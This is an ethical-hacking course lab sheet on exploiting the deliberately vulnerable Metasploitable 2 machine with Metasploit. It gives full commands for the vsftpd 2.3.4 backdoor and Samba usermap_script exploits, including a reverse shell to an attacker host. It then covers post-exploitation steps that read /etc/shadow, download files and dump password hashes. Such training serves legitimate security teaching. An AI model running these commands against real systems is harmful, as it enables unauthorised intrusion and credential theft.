Lab - Exploitation with Metasploit

Lab: Exploitation with Metasploit Framework

🔬 Lab Practical — EHPT Practical 3 | Est. time: 5 hrs

---

🎯 Objective

Gain a Meterpreter shell on Metasploitable 2 using a known exploit; execute post-exploitation commands.

📝 Procedure

Step 1: Select and Configure Exploit

msfconsole
 
# Search for vsftpd exploit
search vsftpd
 
# Use the backdoor exploit
use exploit/unix/ftp/vsftpd_234_backdoor
show options
set RHOSTS 192.168.x.target
run

Step 2: Post-Exploitation (if shell obtained)

# System information
whoami
hostname
uname -a
 
# Download sensitive files
cat /etc/passwd
cat /etc/shadow    # May need root
 
# Network information
ifconfig
netstat -tulpn

Step 3: Try Meterpreter Exploit

# Use a different exploit for Meterpreter session
use exploit/multi/samba/usermap_script
set RHOSTS 192.168.x.target
set payload cmd/unix/reverse
set LHOST 192.168.x.attacker
run

Step 4: Meterpreter Commands

sysinfo
getuid
ps
download /etc/passwd /tmp/
hashdump
run post/multi/recon/local_exploit_suggester

✅ Expected Output

• Meterpreter prompt showing target hostname
• /etc/passwd downloaded
• hashdump output
• local_exploit_suggester output

💭 Observation Questions

1. The vsftpd 2.3.4 backdoor was introduced maliciously into source code. What does this tell us about supply chain security?
2. Your Meterpreter shell runs as the daemon user. Why is it important to escalate to root?

🔗 Related Notes

• Metasploit | Cheatsheet ⚡
• Exploitation & Post-Exploitation